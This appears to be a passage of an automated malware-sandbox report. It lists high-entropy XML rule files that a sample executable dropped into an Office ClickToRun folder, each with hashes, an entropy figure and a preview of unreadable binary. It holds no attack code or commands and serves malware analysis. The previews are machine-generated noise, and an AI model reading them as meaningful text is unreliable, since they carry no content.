Preview:	.<?....W.:....Y3...O...g..1...15lF.~.........8$...}.Jt...e.m..e..K"..Q..u..9.A..p....~.....G-){.....)..n;...@.f.B.Fm...(....$.H)Hb....<.)Tb.....Q.f..P.W$..K..l..Ia.#`.WD....n...Sd.....6.....Z..{.<...d...0..6....XVhm.hVf.E~.A.......J(D..!c.+...;.TGPw.LL.;.OJ?.......UQ.Ah....6.Ly]...K....E......E.u.(.8.).WW..U^.a..u...I......?....G.....;..z.U.5.l...c....&.r.+..H.u..rQ...5.l.Yj.........9...e....#.^H.3..d..#....C.w(^x....W..".O.u.l.\|J.\|].X.B..............b..hU....JW.r....y.mW..!.\|...k...f.i....s.....~......{7.....`U.e.I.'...e...B.F8..Kka..~jO...n\.....\|.z-.x{..c\+k...#...I.:...;..[.^.-..>qM...LBIU\|A.....1.ial...;.ZAl.?.>_V......%/Y...=...D..F..t-.o`.....3A<#:.Wj......E\`.!.b.`...h9n<?..C.... .J0s.Q....?....;.k=.#~/..Y.....#J.2...o..h....@K........e.w.O'gB`."....V.......h...<}.z...O].k..D`.;JmD..5..D.....^..L..V.\|.baZ.h.....^o..I.W...!....."..[/.W0..u.l...81...T.h.....XM.7.7......._%.$..mv*G...<...K;...t.Z/...`k_..iI....\|..g.......U..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.881024088249497
Encrypted:	false
SSDEEP:	48:nQbZDotVGg8JYGP39NSd9iLOf9CjNpf2VmlmbcorgD:QbZDotVwJZa9PfsZpf2VmlT
MD5:	03D58F8992DF8ABF2F8062BF619BB1CC
SHA1:	0A0F904B9F4627F092C14E6AEF1D50FE8B7D42B9
SHA-256:	89E293D3A26435CFC06C153B6E5C2E48A5C6E82450A5069AFDF8EC7C90C72FF0
SHA-512:	4ACF9A598AF81465EDA0BAFE31FA030A5F123C95F7D08C0B6C4A48A5EA94ED575A2FB003D336F7D6C9B205E1DAA7E8CAC2CCD977488332539B85ACA86FDA273B
Malicious:	false
Preview:	.<?.Vq .W..V..%\..'.t[O-...^..(&...\...)....BM=.eK7L.k.D...........t...#.jx.hfAt@.-.p.bf.v.x..)W.'F..T..T...?.E...<..A .C@...."Z.k.l._.O.M...Y.5.....\.N.Be&.&...R..}..L.K~.R%.H:...-.......@D6._. ..t.......CF:..W7...u. q....E.m........jK.....f...4...t.,.=.\;...i.........Zg...p..;.io......N...xY...@..].{W]D..\|.]E..3(..s.BQ......o......h.0...P...\<+..P^?..e./....^X....i-.$...-...3....`..2.S...l...c.9.6...G........VF$.&.r....kH..)WO.....a1.u;..4.....A.S..3/....K...L.l..s..\|HE-.>...0..t(....$.....4s`.IXN..Puq..~.........;."v..........sq.p.<.=.I..p...MN..i...............Y-...6o=..<....'.V)5W/.7._g..q.(.3.r0..`.....<....o........x<...q.u.3.@..F.....\|.....J.h.../...`IB.O...i.ha.?.iS.$....=..n.5...GI....O...9;.y<....{(......- .q..Z~"..7.,..h...J..)U....[..'(3'..?..#9R.4....J....rX\|]...\A.'5......#-..yk..#$@..P.E..w".9.\|t....rJ\i...w....(v5^Z.5AMwy.?..y....gO..]...GV...D0K ..v.w..E.n8......P"N6r.....G..W..].p......gLGu......;A.%....z...`.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703500v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.865539660120319
Encrypted:	false
SSDEEP:	48:7SqW2jp4w/ey4W9IS29rYV2gNca128hnaPIvGb5GArwD:7Saewx19IS2SNR28haPIS58
MD5:	3AA9C3076198C539A75DBD4CECE621A8
SHA1:	49C246ECB22F4C1188204C03D8EC798DD834CA9E
SHA-256:	86A8CE420AED17333F221F4B022A94CDFF4B72878DBB51F48C0C7BDF205F630D
SHA-512:	D242131DD3899CC422FEE1753B2731367AB99A92394F097AE07288C9AD35DEF78FF8237ADBF68D9FE9B28C7010E0162803B8D2F451654AF49E3B66A21A350D6F
Malicious:	false
Preview:	.<?..8.h....b.....7.+9.U...\.7.. .F........y.K...#.\|5.e.........\|.Gg..'..m.).t5&k=.;..>..}\.K..2.n.5.5mB.....,.~7L...tT.U..j.....3..P....W.H0%..Y..YuD..b.zOv.W..ED.........\..rMxZ...=_Z.U...E.>..jmu.E.U.1$.....c.n..B.....r...4c{.L.zA.Gd>F0WDbr?..8..._~).eo.R'.....y7$...V..RM.....bPG....,(%...m....7.]k..M...K....=..H!.>. .i!2.j.q.......=.08 \....U!.B.........z.."I..Ue.....`.qv..6..t.._.BJh...B.?........!/E[...=...`...-...."........c.n..;.;x.).#.pF.>4.V.v.Q..r..dT..4.....F...d..i..(J_..Z.2..)-0:.?,..9R.Qf....2V..F..D...p\{..d...d...cD..F.sg...B.LI........V.)...i.Z....-.85..j0w..^-..#J..4Q..='......S..?......jQ.u..s..p~.d..t..`..(..gCS.O.J........Q...')9U.6...b$..e....A.W........3...<.....DS>......O.. .........O....d.:z.b....'Rp..c.).^..wy`.b....I@.f..6.4Y3p."...@.HB...cD......'.#t..q.}?.-........A.,.I..x.....h9.#.h.xv.]...60..f....=s)...pb.Vm.].).>...N..P..S^.4.@..@.^.r..Kt#!$.]m}..\|`7)......d]D.........s..`.d.m6.I.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703501v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.874229644574241
Encrypted:	false
SSDEEP:	48:gULtVV8nWXr4rGHa2oZKH48ht0MF1sNns8QSvD:D3Zr4G+8R58D7
MD5:	6AB919974221487579C37623126AF1DC
SHA1:	48E31BCC0C0D5553553A07586FF0C5053B6CECDF
SHA-256:	A773A33B250EE627B39584DABFAF232F2B6A2470BFF78665B39CFB1A218E69AD
SHA-512:	F8E6351DC7A56DF77F6DCDAB85C5094D93955B9453316228D0EC4CCB17A538C3DB501A0DFBF2F8C03A93A9661B3039445B7CB0B01603557AB35F7D82A1BF8608
Malicious:	false
Preview:	.<?(/A.>.-.....\|0eD.raK...X+......=yt..M.x..u\|...]...h..9...'..."._C....h...&...~......9.-..7...i........#.b......S.4..x....5m...^L..-...{Q+5...f0]....:..+Q>......_.0....)..II...4...zM.a.G......Z6..<./..h..z-............7...M......B=...4%Rlw.JC.:rBbpw3m.j.}`.j.].....E@.....>C..l$.g....v..3Z...q..5.Z..)9...E..V.....j..#.82>.......=b@v.r.as.cA`D....;....#.....y.........9...6h.C.y.a~...I,.;.S.@...2v...Q.fP(?...N.:..p..u...-..w..z.b.h....\|....y..5..h.2.@.q...w..k."=.C...K.6._.K.9...).\|..i.....y..FK.%......Cq..8.C..O.FT....R.wD.,...Dv...U]..\.h..BE.N./......T5.u.U....s.....K{....F.".)..>G..!_..@.~.B..E.....`..Aiy..`.d..6..%.Q.....%f...H.(..,.4Ci!...m6.IZ.....c.9.W.ny.\|.<I..t@.T..fy.....l$U9..ok..k.7..\.r\|Y...B...C...S.i=i.....Q..'N.K..4..-eX......s.G..,.-.IN.\.5;5W5^5.F..hZ.o.9U.?S.N&./..e1..6....Q.....M....](...0y..\|t..7..-.v.l........M%..t.......t.-..M..I.?-7..4.......*..`Y~8^...g-.7....<..b..{..d.[..w,6>t.xSF.S;......1.T...,.y...5..}.....R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703550v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.874180454463166
Encrypted:	false
SSDEEP:	48:64wwpagDFjSPMNCE5iX67KZB6py5qLDgLtD:6gpa/fPZB6pJLDw
MD5:	3C30AB48244B2A43406639F6352C61E6
SHA1:	DFA5713FD5DABAC935C208ECCB958E3CBA4946B4
SHA-256:	4F2B675BD2A4333752E969EB83F12AF1CFC823CF254E24A3823FD7D1ED43FF0D
SHA-512:	5163A44CE7CDA433D73F784DC78E63FE19688F39DBEDB89ED148A60A04F8D71492225D5169AB9705942D1FEF90DDD6C51E22C6C492EBA0D1F3D09355CC5240C3
Malicious:	false
Preview:	.<?..gK.eH..,.mk...v..}.w8.fd...R$..;O.c.;\z.[@..=Nt".J......^..C.}}c^k....Q.6I.c...0...!d.x'.t,.W%..kT.]....s.2...u....#mp..6..cu....q..Pd.m..#..g.....F.X%.K..;..=.K.......j...lB...$.7.Q"..I..e.z....R.U.A,N4..;.$.2..."..i:3<8.....1'z..w..=...?w.J?..Us...32.&o..N0\|....M(!.-.R.tc...r. m.>...E..E.qF.{.?.u....T...n....d..\|...........w5...T.....^..T..O.<...';.D.n..............Z.V+-...R.#........e.1n9]..N.$.7.M.$N...(#.8.........6\|.4..4..$.....]vh....C.l.{..m_=.O...Z]......q..}....r...........5.K..[\|y2...H1.....L.O@.m.,p....u.B..rZ`!6.s.E.c.q.V..E.&....].s.@g..4..^...........h.....U~...........Uq.Llw...k.M.-`..^Gn>:.._.5^`e.yN......<vFh........Q3...4[...#.p.-w.....^.kUc..L..G...........(....F..a.......)...l........V..........N..1...{..s.I.z.n.B..`.."...w..v..].....h.._?8k.m%.s-.n.....\I.SM.}.....7...J:.9..$..4)..O....Rn..{...~^s.6&{.VE....P...5E..Mt...};.4$I8....U.5c.:P...a.;h...'....O....J..N.'e..t...Z.c..{...n.8.q.......o]p..Kh.1..PA]P..f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703551v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.890817467986572
Encrypted:	false
SSDEEP:	24:dlTgAwZcw10TvtFHvuEt4n1kyufFHo3Fd3kBaR8QI4WwEMGHyXYS7+qVQs0bD:dOFMvGE6n1flj3qaR8QI4HrGHyISl/eD
MD5:	D732466D5931740D49F2E623B8E4B09B
SHA1:	B7B57957DF8304B79BE5B4EC1A86D99C22D23D43
SHA-256:	1587AC4A046313830CA3E3EEA8338C600E85919A87B967DD6BA5516CA807A652
SHA-512:	43F52D476B655B1798412E4B80C151001C6E2B14DAA0DE6713CA357C7494AD7BC0D74FAD0FB5B0712475D99BE70CD115A91408119B49C3FDA0A6B5C7102469D4
Malicious:	false
Preview:	.<?...=m.F>....X.'.W..xf....4..`[......v....J:.I.cU....._..@.A7.=..^.UB\|.\.5... -...SM..c_.]#...P...c..tp0d%.y...B.G@.,.g.....H..`........BKx.,3-.M.D...L.?9..?..YIq!\..O.[..\...8.v(.Ib.".......q.g..Hv0...G.....s..7/......v.a......u....r..v8....&-.q.A....m..f...F#.w..KdkL....o...K.._O..AvN.......Z.UnIZ..D[9..u.,....M.\.N........-......1....SmK.....H..+.{..v/.}..x$&......Cw.e...f3.......J.n.6~..."......O.0...Vj.....JX...V.;."}U....!\..A.%.!0..Up.A....-....QR......jI}_Eg.O.g..,...G....&.......>0qXV0......)k...h-..7.2^.....v..^...B..=...6.@U..h.KF.".Xm.<.8...o.k..G.d.I."..Q.k.....&.....2.....A=...d.......\f\|.wd....@......".....y.$.}......n.G..XM... M.3...\|.c9.k..T...g.."....3..P...[F..P.....u......mV.Og{..jo..B...S..8..Z...~+W.(._;.......N......><..@.m.y.(..!k>3.k..#=...5..R.&.z......j.s.....<.`.`7.A!.<cA._.....7Z^N..$%.^y.z@...?d..d.,G...Z.....X.qC...z'..\|B...P.u...&.fC..7.).....V[...FDL..$I....t....W....r...n.2.v..ArP.dh*...D.ko

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703600v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.87710750062994
Encrypted:	false
SSDEEP:	24:s+/dHw3ezQ6rzeCSbMd1TgQku3J1h6lICYkENjVzByx0rYdyz+8ibD:s+/F46r9de5u3zi+kEhBsx08d/bD
MD5:	F5C0E35383176137F4BDB54A314BA8D2
SHA1:	71CF65899121062E9D5370C038AAC7C0AD5F6CA4
SHA-256:	DD1E624C3216A391CD72913E0EDEDF34FB2D965DB0BFFD50B568AAFB360583CB
SHA-512:	59C59347BD28DF46EE81726BB2F2F246E74636064CD35CF0FBEFDD070DE12E3F0F48618B00A68208725EBEF13FD41F5BA98DD3EEB54E722428C7C7F39CD7E72E
Malicious:	false
Preview:	.<?.2Q..cL....Wtl...{...}.M.[...P..@t....#P....O.'....>3.....n.S.....F...S..[2....#........B.{.T3f....JM.b.VF..]...R@`..0.L..=.20..,)\....EZ$...j..}..l...).n..}...........n,..f....0a...R...%[.T.9.=Z+.)yfa..T.Z.N.<.S..~}..D.U...cH.^b$....... .uz......a..}v......;....~...4./.....b~$..^f7...B......i... ..(.D0.F......wG......9.y.&.4.>'YL..L....V.Z#.i.n6-<.-I....(.`.c.4()..'./...<.9.....^;... b ,.B.&@....!.&{F.#.;2G]....z.S........t9...ZR.rl..o....%.k..}...W..m2.,.=.S..~.o......Q../.rj^`..v.1<.`...h.~....+...52zN..'h...ef9n...lE2........M...v...{.Q...`..)kD.^~.....R.....$.&..nC....\|..].t.r.'u.H.-......R.....p...-........J..i`....VJ.q../.W...z..6(.2lPx."..e.[w.W~...e.1B.E..-X.E.w..M-........A,..6b...{q.......;fE1..=&"..eZ..\...]..\.........5.......!... ...=Hk..$.n....#.n.M..a\"<.O.K.e.^'.........R........?:^.A<k...iI.........t.....aWV.........9..2.5......q~.......%..0..t_7.E.t.&.........7L...~.=.n\|<.M.O.x!.5E....T..a..b..).'#..I...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703601v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.901348787850849
Encrypted:	false
SSDEEP:	48:5glaCvJpJPHHvKGtRpaalN6tGKXb45ZhCXfC1SVD:QvJXnvKgR56MKXboQXp
MD5:	500020AF69E69E870E4F26DA45CBE4EF
SHA1:	7498E3A363021D8F98B3C847CAEDB5F09BBDDB8B
SHA-256:	DA20869DD76B9AEE85FAB7192ADA00E0ED434F425EB32DC80CF6952E6C7290EE
SHA-512:	B4EF5F4E03D68DD1465077C52910CB48FC1A5AEE758764B498D6BC3E0FE7FC954C6E25A177CCE0E5F8D98018889BCD5C4DB6A40F784315C831B0685A7D164728
Malicious:	false
Preview:	.<?.dF..Yb]@.9.B..V.....$.tx.@7...R...%..B.f.n..X.3.j.d.\|[1v.......D3..}..............3.,.UvFk.#.a.{...y..]..0B..K.....[".)D`....E......u....... O8I.n..5...u..ft.2._..C..'}`C..Q\|...U..F...KJ.'..r...................?...!......$.\/...Xa9...Hs.q.G./f.......u86.w:*A.&S\|T...v']F............SpA.X:..3(...2.....YZ?."...@..o...0...$!k.....Pq.k..~Cl.y..^......3..W.,..5j.........JI.Z....t.;..L"x....Y.^.~K4.Tk.g..,..o.o..<..l..]...gN"{..t.-.4.]...(p..@...H.Z..+.;.....s%3r3.5..X.3_.5.HE1..X.S....8...\.2#D..8..J.C.....lA..<A.p.i.u.Hy..."...Dhk.@.a.SG..EN2$.Q}.'.S.....O...I.o.R..uf.2{....;8..3P......3"I.!f.L......jz..Z,Gl....Y..A<Y...6..(...}&...2.F........l[)b..d++.6.,0l>......Z..1h.4..T..7'.Q!vo..S..........&..j.'.\|>...O....n..&...A......L.....?5.....r..G....n............r...X..&...o;IF......G.T6.%H....+Z...T.......=....t....1Ua&..mg..:.[..._$..>...=#...yw...D...#.P......-.....k...^...u..z.6"...vd.%.2\...i.\|..`W...R...c.n.&.D...qZ.......(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703650v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1694
Entropy (8bit):	7.88786984545963
Encrypted:	false
SSDEEP:	48:MvuWQYIsCtBHKAXwZMHNLSgsis0NjNAEM/VmD:M2WbvDJMtLbsi2+
MD5:	C1EEC399F3347E6444A32206EF2ABD05
SHA1:	B1E0EC7A24DFAFD2C3876608D76A01298840B996
SHA-256:	417CD36D5EA546699782984CD55D43F351867B1428AABF4B640D908818BA6A8A
SHA-512:	61970EBF1C38C582AA0D3270E0905728665934CBA052CA8878F3C77EA2FB19B5ACE855553C1E67806880C7A9E4872FF7E30252E5E5D09576354A12A65E29D327
Malicious:	false
Preview:	.<?..Q.* .H1....XqD.[.....6.p.."V.....Og.8..$]+.."0...\.]._B.#...\..z!....G..Hr.x..?.......u.N.{....e,.:.83.N..u.j.V.e8.xM.;.Q..$..F$.l.M........D."..'...?..I..c...p.fK...Bh....?....n.t.'.....4c.Hei`..L.x..O..`U.SR.p...P.0....>...B.lW2...P.T.y...^.....N....C..dd`.FyQa...g.+..b....=a{.9..y.P......'q[YA.......h<..~`y(mU.,...1...A.......w.......rcF;...........A6.l......-.I..0.n.../ h....R@...y..XQ...G7.......>..bD......W..Z....[.....h...k.{.......a...J._o=h.$v..U.M.%.f.MS.(...]GS.].Eb.......).....g.s.zE..n.......?.`.;M&.../.2..>.......^z.XS]a..L{.<Cn.J..a.e....'.U..G'...1c.8 .z..;U....o......fe...\8....7.eVs.....V.O.Clw.dd...5.B..Yox.}.ICt....J_E.l.6..C.....E....D..........dT"..4.Xsk&.......[R.7g.];.$..SjI ...>.H. L.pPhj.\.A......i.........h.!...7<^....p..I+8.L.p.\..I.2.. .....jX!...x...3s....z...D.F....t.C..j+.k.8....e*J..{.......`.h."04.)L.f....(&.pE............F.....l..../sb9..........wZlw.p.~..q.W.....T...G.f..m.\|[ ...]E1.yo....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703651v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.883693639064674
Encrypted:	false
SSDEEP:	48:oh0+XI+DCAMb0ZRxL5abgq2Ej2jSXGisD:c0H+DBTtabgdjHiI
MD5:	D17871BD1C3E399CEE43E6DBD2E5E979
SHA1:	4488D7D68EB9ED75FEF719D18A717DDAF3C4776C
SHA-256:	905EDF270D6EF84664AAEA55106BCBF6DE4F3DBD40CE42BB28BE209F43BCA184
SHA-512:	07338B6AFFE631E8ED17A32BA0167B41A5B54D55522EB89AFB993F0E7B043E786E9C59C2C19DF0DD7083E23F2A8F176F911948E02784A32977D8C786670AED1C
Malicious:	false
Preview:	.<?A..I.1g.Q..8oq)..)..d..P..%.......O..].3UMs.....U.t.`............1.Z`.R..(3.A..J..x,.'Z.Z.....8&.......d~.O?...~.^..r$e...0..`{..a.N.v.:.;..x............x.....TR..&.{...`y..?O.....g..)z.&..Rj...N..k.R@..D.Oav.UM9..5B+p.~...%......r...$......l.&~.}....yt...Ic..O.I........#N..O.{.s..0.Y...(...:...c.....l......5<....8../O.............3.O^.;A..J...%.w...".v./..r.>..}.....`......=..E...z&[t8-vw..N..t.8UQ.p.#...0.,..5....U...:R.. ...b.......P........D.....x.K3Q\|(.E{....~.M..\GV.(.^ /5.. ..K...d.D.E.....&..`.LT.f....n.OhA.s..!...E.....L?";i-0M.....y0.6..m..9.Q)9..;..y...3...l..P.....3....g...p..b..z..Eh........ >.Ri......Y.Mw.:...gE..`k"w+....N...L...[..6%..........t.......:\|.?xF..]Uf.4.mj....*........r...F.[O%]..6..M.d=^<....~...0.sQQ:3..Y...;...-..SA.fq(.=..S.".Jt9..Q..o.." =1..qJ.cH...w{..s{..lO...e!.7.....j@.q2w...s..`.L....ne.3.&.Y.....R.k...z.R.E.P.}.."T.~W.Qh.M..@.A....[..VV,....>&.)......._-..d.m.A.\|.I.6.q......j....c5..I.ei.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703700v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.886440947361037
Encrypted:	false
SSDEEP:	48:Vk8RVtryMTH19ldkoiq3ThLWE+k0ZvBVP39rNrLkD:GEVtrxTHrgrq3ThLWEr0vrPHLw
MD5:	DCF8CEEF2024CF24E96696A7BBD1F381
SHA1:	28E2AFDC66667C7349C147109B31C8456E627043
SHA-256:	F177C1DC2B027455B39FBEF380F06FBCCBA66D0415F56F5346805903F506D889
SHA-512:	D06CE8B8C901FB60E324FEB8ACBDA24B6515CD0B5B1ECA1551F77456A5CD45059A513A0F56A8149934D695C0E3146E2BFC01337FC580E66420D843777E07FA0A
Malicious:	false
Preview:	.<?.-.......,0......C.....x5s......0....A.B.:}...+.e/0..\<:..\..~..>..qL..e.3.N.&O..p.\.dy....;&....vv..........X...C..8.&.[..!J0..p.... 1c=...u..cij...X.q...;6..a....(;\|..n\...s.`b....e....E..;.Cy.L.q....q........72.~e.....S..y.."`s..@-..Q..y(.&.;..`.6GjS+!..#..M..t..k.".B.lz.nV).....e.s..R..A.@..qP...r......&@.@.......k.:.s.......q....b...i...^....CV.K.].hEi9..1~{...Q..sSz.r...<..........]`...m..p.........Q.0U.i1.......?h...d..7.p.>..z.;.5..;..'...%0s<.......V..$.."v...5.....%5.~..P..'.......#rV.?..Qa..i..R....\|w...@3...m.hQ...O].+...z...xe....@..A8....1C..XD.@..Ev..1G......JY.}e......@...2.-S....U\|..L..V<x@.\jy.V.S..c..J.f......O.....;\|XQ.......w..........;-..,.`..W.(....%.)....2..8_.......=...-S...J_Q.j+...A...Q....n...}~.LT...G..ytk..]..W..=......)...........`...O.#Y~}p..8.#......m,=...............m[.....^...%..w.X..<..!..mTN....xpH..2k..Vl..dQ..G.]J.[f-.....b...^).....Q5...O.".XcjM3.X?73..&..].C.`...EDr/...t...9.<...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703701v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.881594423188157
Encrypted:	false
SSDEEP:	48:17IBJEh9+9VIposyiJGrpPcq8aTxgmNjh/maujbQD:178JQyNpPvNTbtmbM
MD5:	8BA0D96A60902C4A1D60F47C3D144982
SHA1:	6BF6C490BD94F814D4884921956646F1CE31D393
SHA-256:	9EDC84B94A8C02453BE163F838B8A51D87BE97D52B3A8DE05994FB8F3D0B1344
SHA-512:	1AD2610A2D04126327D1FF700275172468FAEB3D9E859359E6DFD7920E27049360EA935DBEBEF6203F0F600E06897413AD2E5536E207A305C4D0A738CE0B32BD
Malicious:	false
Preview:	.<?.1.z..?mN..Iy.G..#c.8.Bi......Q.....W[k..9=..E.R..._.i.RZ.....O.B}i.S.....m{:. .PH`b6{@......J......d....5cZ...`....4...`...o..P.ec..i.S. .A4.....=.-I.E.....h}..!.........B..K..,1...[iy..\|.Q76..4....&.<.q...,>....wd. U....8....x`.X.zq............K.0..F.X....d.\|......_...J....$.`..J...l..7..V$.q.b..I.~..1..\|o1.6..wI6.......-.].5w......g.eY.s..p}!........4.........._.%x.2...Hw.A..0......'..........%!..)^..PlDS..iw:]..s..4.F~t2.....9....:@.=.t.........0.................s.+k2........1.j!..g.7<...d......,(..[<.....8b.w9..l\7.-.F.i.}$-.\|.-._..a.y....[.N..j....p...r=.....j.9n...O.m..k....Q....$.P..f...m...Z6z....P...A.I;+.r(&(...../h.D.+t..t.P...g"..@S..~.i!?.h.N..(.i.......B......~.+2...S....d.!..t.\|.<?.`&A..."....2..n.!.WW.6.r-.2q.....tY.gs.IB/>W.........n.}S...X.:..4......v.sL.a.S....AV..}2.....z...bo.xr...J:..H;..B.r..Y`.{....B..?>\.Ea.......j..W&..O.........T...;Z...F......d.Q!.7.K....5Q{+..4)y......Ag. ... ..c.4.._.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703750v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.879640174426094
Encrypted:	false
SSDEEP:	24:1M8YXw57bsUZRMbeOXyUPh9CXEDbp5VvEzwfxaE2DHe+hDyNwsbZ+VbSuMiyCbD:G8H7bs3beRw3CXEBfEzGk9hDWGSuMAD
MD5:	63222BD9B5AB6ADD59A2D7CD4FF6047A
SHA1:	BC39F69F29D95AAD55FB805489EF0E5C78430CB1
SHA-256:	63D924EDD8D43E83525943C09A3528968E70D42BFBBDAF8F4D11564B2E3C0778
SHA-512:	50449285E42930F845B3FB71833523D3F32EC985BDFA0E02473292EF658AB41103AC85A811EFCB81C1E98F13B64167BF65AE0770B993A18406CCB24E87187D23
Malicious:	false
Preview:	.<?H^..4.)...9W..f[.2.5....l#....sq..U0O.'VY..aY..l?...(p..y..\......p......`5.8....{...K.......8a...k...X....@[..8.......I. ..F.K@.4t....K....9.Z_=....(..zP..m.v.T.-O.....IE.......KC.A..S....]..Z:.&x+P.?....c..WE.}P..a.iL.p..L...5>%..Bn.r..=.jyK.hj.#......m..Fw.3.....(q... ..g.T.....$F..~....?...w5...3F^p......57.2.H.}...s....F.."S....D..."..W.p.o`.~w.24z..Sz.Y= .\|..B.O.c...X.."..r...dX.....-........H.....)H.{..P.V...o. .w..K...K..m.G9...E..f(.,....$ ....$..P.k!mc...H}/.;....Q..]7..q.u#3.......B.aZ..i.W..P...[...<o.>..R..yM\.&w...y.BG..&HH.I.2G.[.E.-{...~).T8.g.W..P.)......-.<E..Ly.!>...m.q.v..}.. ..V>.....w...r.]y....O...f..?.P...`........=..Ny..iOD.."...+[...X....."!...#.i^....t..B....e..c_..<..g".:..t.}...........4..z.0.)!.f..q.;...p._..B....4.r*..#.q....4..a.....\|.\|...1..$2.Aq@.......wHI.d.}..h.....bcJ..@[.Y]...\....Y.....Q...j...r..0.{.:RUD.O..H...T..I..A..~..nV.:!..V.I.Y...(..^e......#..U.A0....V.y....\.../f.6."..m3.F2.6..s.iV....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703751v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1771
Entropy (8bit):	7.897600947529228
Encrypted:	false
SSDEEP:	48:iTo9j+Wdxsgo2qii/frETCoMVDqJlp/KzI/D:7+zgo2O/ATChlulYIr
MD5:	E7BCED76806CCCBFBE75520CD14A73FB
SHA1:	C0E63796FA4A2B37EC83C02DA147D086C3483B87
SHA-256:	49B3E932A110910C81C76BC778FFF4635F311D5B356D6B82DDBF527E18D838F9
SHA-512:	53ED27274D84E550FA14EB7BA3D3AD945CD2B6A0C2BF40112A3EDEF39A46B2ED561387A7E2AF580D3B254EC981AD67F41B54FE95B227B1955EADAD546CC994D1
Malicious:	false
Preview:	.<?\|....N...O.....^.CX..2&O.f.P.H...].t..5......z....O.GruN..a...."K\.\|.N......,:..4.-o.t...}..I..6.`.0!....%.!.g.....Tn^.?...ULUYz..~o.....l.(..p.'.../....5..!..DO.x._[...e.....`......Ys.....l..c.b.Bp(..Rxr..........-..9.j.J.o\|....$..4<.`&.=G$p:..Q.T.Db.........`..H..i~.%..w.K.x.T.(.z...~...n6<...w[..pH..0..._n...$1.d...G.ib.K+sZ.Y.\|.#....^W..].5.<.\.3hy,C<.lIU..;.Y..._./..l.)z.0....(g.v.U......[.<#A..z..W...?....6#) ..'..#...o...RB..B....)..XV.n^.KU42..L........b.:O./...r.N.dM1..?...;P./l.m.x.......}.Gd......L_...b.Q.....7.?..7.2T..3b..:C.J......>((uL,.MK.....4.W..@.+.xAUq...IC=.....G.!'..;.=..&.....^..<...E......Br..nT.......M\.}...M..SW.......R..C...B.:..r...&...w;...1K..U....v/G.4[9.D.....HzX\.P..e=.,.]..m...-lnlg./...&..,.\|F._.:+..WJ.#c.\|...:.#.7....Y..../...QHi.W...RPP=,.3..T.....>)z...k.L...Im..N.Q........f.m....Y^....P.....W.c>V..@.....z.../..6X]...BJ.2"+....=?W...'.)..............P.mot...Zj?.}...]b.>.m....l.d4...>^U....._..Y...T%.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703800v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.873592893583722
Encrypted:	false
SSDEEP:	48:LkTS4duAgRODK/vzq7/s3wFXk7EU4XRRq2HsD:US4JgRODK/vzmkgFU74RqP
MD5:	F4C338866C96BA014331CD2AEDC31B1B
SHA1:	B0F8F99F0E8833D60C7A5E25FC2994DB84BE2D07
SHA-256:	A3E826AFB7EF31AFFC5F41BFE28190D92C5A9A2CA84081C64FF3F0330DC10571
SHA-512:	8A565D74A3F5DC72ECFC01BBD2A2909A86139174F46FA2798D7551EDDBBA081DB5CE0562402CFB9F3249635DE6C1A4B4F8BD2FA01E0703746C20AD8BAAC27EA3
Malicious:	false
